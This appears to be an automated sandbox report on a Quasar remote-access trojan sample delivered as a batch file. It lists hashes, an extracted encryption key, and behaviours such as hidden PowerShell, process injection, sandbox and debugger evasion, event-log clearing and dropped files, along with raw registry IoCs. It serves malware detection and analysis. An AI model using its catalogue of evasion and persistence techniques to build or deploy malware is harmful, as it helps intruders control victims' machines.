quasar | 377e07c89866212c545edcc127f8710d90fd2acbfb5a3665c6595527b516d0e4

Analysis

max time kernel
150s
max time network
144s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
20-01-2025 00:45

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General

Target

Loli.bat
Size

7.4MB
MD5

e4bfe64348f8d70c36e5d7ef6f79cd3b
SHA1

9595ce4b92893dc10a894bf1c87c75308aa1f826
SHA256

377e07c89866212c545edcc127f8710d90fd2acbfb5a3665c6595527b516d0e4
SHA512

5bd04dd26bd56cc00e84303d592ac7aa2f085a21f2e9301e805f44608d79b6154aae49865a08f0fdba95fc45bff18fa8c9fc75d7c01cde401358e25aab5801fa
SSDEEP

49152:0ftkwLa4ERKZbq/giN7Uo5KRaCGyA1YKKogSj6LRobnlS0Di/zkQZHv6t0ORkVTZ:C

Score

10^/10

quasar defense_evasion execution persistence spyware trojan

Malware Config

Extracted

Family

quasar

Attributes

encryption_key
8D972D7B8725FD1F5B1A240FDAFF93B496B73502
reconnect_delay
3000

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral2/memory/3272-2448-0x000002183D440000-0x000002183DBC4000-memory.dmp	family_quasar

Suspicious use of NtCreateProcessExOtherParentProcess 2 IoCs

description	pid	Process	procid_target
PID 4356 created 2336	4356	WerFault.exe	89
PID 720 created 3272	720	WerFault.exe	118

Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs

description	pid	Process	procid_target
PID 2336 created 612	2336	powershell.exe	5
PID 2408 created 2336	2408	svchost.exe	89
PID 3272 created 612	3272	powershell.exe	5
PID 2408 created 3272	2408	svchost.exe	118
PID 2408 created 3272	2408	svchost.exe	118

Blocklisted process makes network request 3 IoCs

flow	pid	Process
33	3272	powershell.exe
38	3272	powershell.exe
39	3272	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2336	powershell.exe
3272	powershell.exe

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DoSvc\ImagePath = "C:\\Windows\\System32\\svchost.exe -k NetworkService -p"	WaaSMedicAgent.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Deletes itself 1 IoCs

pid	Process
2336	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
4928	yhENSZ.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 2 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx	svchost.exe

Drops file in System32 directory 16 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D	lsass.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\$nya-TnOLc7RS	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\Application Experience\PcaPatchDbTask	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 22 IoCs

pid	Process
3272	powershell.exe
3272	powershell.exe
3272	powershell.exe
3272	powershell.exe
3272	powershell.exe
3272	powershell.exe
3272	powershell.exe
3272	powershell.exe
3272	powershell.exe
3272	powershell.exe
3272	powershell.exe
3272	powershell.exe
3272	powershell.exe
3272	powershell.exe
3272	powershell.exe
3272	powershell.exe
3272	powershell.exe
3272	powershell.exe
3272	powershell.exe
3272	powershell.exe
3272	powershell.exe
3272	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2336 set thread context of 4408	2336	powershell.exe	95
PID 3272 set thread context of 788	3272	powershell.exe	119

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\VBoxMiniRdrDN	powershell.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\$rbx-onimai2	powershell.exe
File created	C:\Windows\$rbx-onimai2\$rbx-CO2.bat	cmd.exe
File opened for modification	C:\Windows\$nya-onimai2	powershell.exe
File created	C:\Windows\$nya-onimai2\yhENSZ.exe	powershell.exe

Checks SCSI registry key(s) 3 TTPs 18 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName	wmiprvse.exe

Checks processor information in registry 2 TTPs 13 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe

Enumerates system info in registry 2 TTPs 7 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	mousocoreworker.exe

Modifies data under HKEY_USERS 40 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\DeviceLicenseUpdateFailureCount = "0"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02zgqqkqspycqbrq\DeviceId = "<Data LastUpdatedTime=\"1737334011\"><User username=\"02ZGQQKQSPYCQBRQ\"/></Data>\r\n"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02zgqqkqspycqbrq\DeviceId = "<Data LastUpdatedTime=\"1737334011\"><User username=\"02ZGQQKQSPYCQBRQ\"><HardwareInfo BoundTime=\"1737334011\" TpmKeyStateClient=\"1\" TpmKeyStateServer=\"3\" LicenseKeySequence=\"1\" LicenseInstallError=\"0\" LicenseKeyVersion=\"2\"/></User></Data>\r\n"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02zgqqkqspycqbrq\Provision Monday, January 20, 2025 00:46:50 = "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAd09tGvs8V0CTxLwimJYm4QAAAAACAAAAAAAQZgAAAAEAACAAAAAD8kLsnqa8k8W0W7gNXI7AQ3hbqCBx7tKQ8DBg+fNdMgAAAAAOgAAAAAIAACAAAACEbcgrnj1GcjdMytRFoa8BGRuWed9Xf0dq8AH24LbNMyAAAAAimxMaRDt4+8fNmyhf0kDBw1uy+BIoOGX24TwpHs/yl0AAAABtMjPrXhZWbmYGTt0/Lj4kgLT9jH7ABxbs77sGMrfRE3opR8LXA0IpITGhn837FUuWlZOtuNR2Xnf/8jy6syM8"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceId = "001840113D3C7214"	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceTicket = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000774f6d1afb3c574093c4bc22989626e1000000000200000000001066000000010000200000001081348daea45137876515c0c73a2133708c9586f9f200028bbca3f4a68b1005000000000e80000000020000200000000649945b981ed6b143792e2806c2ca26e1f4c63241c1154f6cf608c0bd46d556b0030000b8a894eb23e338d17b29250c2c80502bcfed3929411ab89e5c3c90e5ac7bc84315efe94d19a97c0613620db55d1e7b24bd1661123845d7be3f477e9e0c49603c825a632119333be6ff843637c94f2102ab04e3b52b2c0f6b051528c1e9c3c2bdfce2677b8f3f5d80b46095924329312a9822210bcbf39e4380d8d9686a27349edb68488fce9cfc2a092e67682eb232dbeb3279e0f17595134e4b695a1ce26b7553ca961e9c2ec33a440f99456c01d947b2f5c67cfb81d548fe074ff117538e59788cf949d43ff6d31d05f1d99fb50233ade0018ed33dadc9cd0b374d85ca4295a88953b99536ef5bb92613cbc38758d7bef3952f798ed09052e6bfa389efa1027874edcf38d85557c58813277fdf622d180952419249430e3fd4fcf0ec733e8a325604514c8b253a83e4d8c8f3acb089af9c8d1c74302388bb12065a6df8814a94a270fb35e894a90d9b12051bc8f4255bfbd3dbb1c1dbbb9aa6d4f5afb586dbe2f6642630798ce28a4e02b5cb6cce935510767236445206c46275d2bf423068ea4f91fcec7fdf797565c5396fba29b20553c298bf9b81f1a3fd81ef56ddee52701ff965c29299dda7e6588bd5949c6a2914c2a116d3bd705e2e54d62d319939582afa1e289e598076381d0d5659a1e04c3ca91eb22d70c0d84cadb5df64a650f846e9edbf413411dfa15439eefe62764d9f93ad4a01943194a2e533dcfe767132d53f9e3ae3d53c7476d20f52a03640979f491fb4b6c12d4453f08e711668fdad9d15b55953dac215b6203c4f744008a0a4dc9a042606656f5214cd6fca041c283564a6156e7b1d8a246af4e24451b317e96d002bf5946e96f7e81252cc2071bd4ce94075053467278430fe6453ea07ff332618f1ed1f28661d9b2d0f82435711edb079fcd4d74014b439430302a5f445a5f9b868d3f26a3445b160ab63d8343fe4877e5f3610a9ac1de267c1e9b72167b372f7568c4b5fa207d723a66670f2a56859ae422942adac5ce177638bca08dd7368ab3902936774e41e9cdb1218d1eb5e42dfbc0e182e0afaca9c99873f0b798be02c9d1e295bd504a7a735f9864bf5cfbe1191595f3568406ce1496fe6ec9eab9def5a90e1eab4c61d93eccdb9cebb797f251d683e392124bbd7e5ae6a478e5b42fae6659b26a98f17fb555d5b556f8f95a1859e5e3ab2013126cd9801808e99f663c2acb714c7c537ad27838134281a63e044fc53e28510238239a7cf419f92aee90be88f90fb416f051cbf6be30be1cafc7759ca540947356228b2e7afdf0fa3d10f40982811419b10bf7b3afba3ea76d70f47a95a1cbe9882f6f5403340000000b29800d420588917653ee2778fb7591079a625419a7d73e0bd5d32c674609b83b3ee962e51c3d7d628242c78a4d55827ec1d349a2a17b954eac49cf8c72840e6	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager	mousocoreworker.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1737334085"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02hxvzxszvlpqrvv	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02zgqqkqspycqbrq	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02zgqqkqspycqbrq	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property	mousocoreworker.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property\001840113D3C7214 = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000774f6d1afb3c574093c4bc22989626e10000000002000000000010660000000100002000000021f7d56e3e349237fd1bab612599112ef4290c940946c1c76211b1ba89a91d29000000000e80000000020000200000001d59042a333e6190a263b59198a3f719e671c98adcafcf0e9ebfbd81104c0a9f8000000006339aadb13227d570c34c74c352495f342f092b12ae1b0ebd2702a14341570646418ffaa6e932980f451405eeaeaff761bcfa5322885433def6477d8cd9c26d31ae341d435e23ecf6bb83a0df62bd48e5ddb48fa7d8f05f0858e3d84424cbcffd41aae8980f1d7c6bc7fb4886110d07b16c923b04e7ce84eacc5b45a89b6e6640000000a0c16cfc812b9bb5f73fb503dbd76ff020cb2d4ae670d25baf9d378873ca6a663b7f1f344251304a8867e13e93b5fd005eca89d14c31d7b8191ab79f02337f0f	mousocoreworker.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\ApplicationFlags = "1"	mousocoreworker.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "001840113D3C7214"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\ValidDeviceId = "02zgqqkqspycqbrq"	svchost.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceTicket = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000774f6d1afb3c574093c4bc22989626e100000000020000000000106600000001000020000000d277aece94a7ec5aad278a4e510daef0e881d2d52c55ae91fb5702c839e9ea68000000000e80000000020000200000007167cc273bb098d7c2d4a39832526908c417f252953231d3e6c0f1d13b8892b8b0030000714c2ffd3381e6fb7dbebf77a52c02ab697e2b5152a6bdcf89bf460ffd6979a56c5645944e6a3460f43d03af8f3f65db2495dee33e0c9d9e42df5ac4a8ab40deb30ea94c71c7cf3d5a40cfefc2f817e4451778c8ff59a1f634d67f48559770779539acbfb61330d4b5ac85122d94082c9635a82cabfa103c67b211bc7d95a89f4910aaff3b5d76e200ad72395bda479ab97fc8afab589409c8f70bbef30f509a48ecdfea0a334b3e76d76439771b28c739059507b9e9f14cf44828fe5029eaeebab44593ba3ae250941da34fd9c1a9acd5c56239f1301ae5ab2a2b92ba31d87d5a094fc353cf8f95752d5a84149f9260137380472f3a23394625c7b0f81b25e2f485f63b1ef71c4331fd67d4189a99c97e82d19744e4c4e55bdef60f278f473e27d084d6982a8cdff24c3669de913809f7b362ccd6d7afde9e6f94ab0d3c698058d5c5de1c4a99eb18a9fa1a478c9fb80eb29445e3fb244010f0932c8465f3b734909d960a7f339e3aaf7747e18df737dbefbff7ac5129722f549be191cc3b5f198c10f358e354009e9e8a7277e0c9b83edc823bac8979d4e6ee65df413c3366775a6dad3c359e397875cff7e5a5f4b742837125c6f7cd0f72bb551d1461dfe5b77acec24c1e5137770e7cadf1c0532035b0e2ae8e148c8170d18a2cc7770dd7371df4cf376eae6caf665aa190eaf4660d63fe871d93783fad3f3143e6b16c9f72d1bb019d896a4308c45f7a3c4779adb431403bb82a5b41cd55809f47cedd9b42f7133440aac5552f01a027a324cb8aef0b243b802e8f9c1a067af4c204eeee5a33200658c083e2a2ee8d13df7355e450b0a3471dae9e179083d5c0f9cd34e1d12b51e2203dde47ba3026ea4665d5598e44bad16231c2b52b7f196a2fcc9e2f594133effe0f1ef5ff5ab80c5bddc42db0f23ea62cf35a9c4d273bfe3fd99928cfa8bb0af8b48da473301e884c067bb66c657cb9b1b60687c3c5f3ba03906342a905907d14146de2015d89cee0239f2fa901b470cad49596a5558c4b560140fc5658e808a0f02d7c189832607831eb8e3177099ad5f2c1cb9036c2fc69a15687a76fe61540ce95d316a4ece8b1d8e0eb96c57e43084e3b6987ef6968b768d0935b1b2fd6ac2602a316d18fadc2570e16e93dd1dc6a9935fac7df86cfcbc904432982d6288cea0bf74e62702ffd58e029b7cf7a21257da950c75e6473563a7328f835c045d50228d0c5db5023a7eda26110f599e8c96bc7409f5241320177416095ecc84d5e665fe1deea4d047d5d7f9fe9c08e13670b2e7829e8c46dfcb2280230a28359ecc1aa2cf70f6ae07aa857e440000000b85936c5d6bd01b815e142a1c44bbe5edbf61c5d17a23de18a7b758dc6bf8795597bbcf04cfebb2afb27fd6da49e7388e5e4a2ff2edbec7f3b2f07c54326314a	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02zgqqkqspycqbrq\AppIdList = "{AFDA72BF-3409-413A-B54E-2AB8D66A7826};"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Mon, 20 Jan 2025 00:48:07 GMT"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={46D1E072-05E8-424B-81E4-41BBD7F0FDBC}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property\001840113D3C7214 = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000774f6d1afb3c574093c4bc22989626e1000000000200000000001066000000010000200000005b82496a03268487f62c6af2868f8b2836ab3ab25cbfe12238aaac2e12a16203000000000e8000000002000020000000d71024c2ac7a9bd8fe278c5119e46cfedad36a3c19df058f4af91906fa614c21800000008029526b6c787033074d2eb199107ce247bab9a2bcee6379dbc88c0be96a29bdce120317aab01d116477d01956cb9f562cb22fe1f3d45bff5bfcf47732c435fc589a39fafcb226850c4662983354662b866315cb097d3c21d5200727aa962f3da485049e379c6a4dfe42bcd7eea09520829692b91ba835a5a46790aa5f71cf5c40000000d7850521e5dadfd7b723c35ebf7ed84159188a092b31438982f584e0e8f6989670657290a8488d6b1a2c19af3134beb4e299c51488384c901b28139764ec0672	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek	mousocoreworker.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02hxvzxszvlpqrvv\Provision Monday, January 20, 2025 00:46:46 = "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAd09tGvs8V0CTxLwimJYm4QAAAAACAAAAAAAQZgAAAAEAACAAAADag1uq2IpnQwFfIq5SkI/cxLuSCv9wIefLl1te5ScHhgAAAAAOgAAAAAIAACAAAABfnnKCIh/Wleki/mgaCR6iHnwF/DUtf/6cTzLEELBSBSAAAAC/gzq7QUDvynzYLpEFNR2/l04Zq0qQfJgyUCv1UPeWBEAAAAAaN6PCsF3Jp0FgBtehObFciD3Xd80P1M3SuRJw6a3p4WP5YlcORE8vaHpeedXam9B+f7sWeeNJByh1ougJC9jp"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek\CacheStore	mousocoreworker.exe
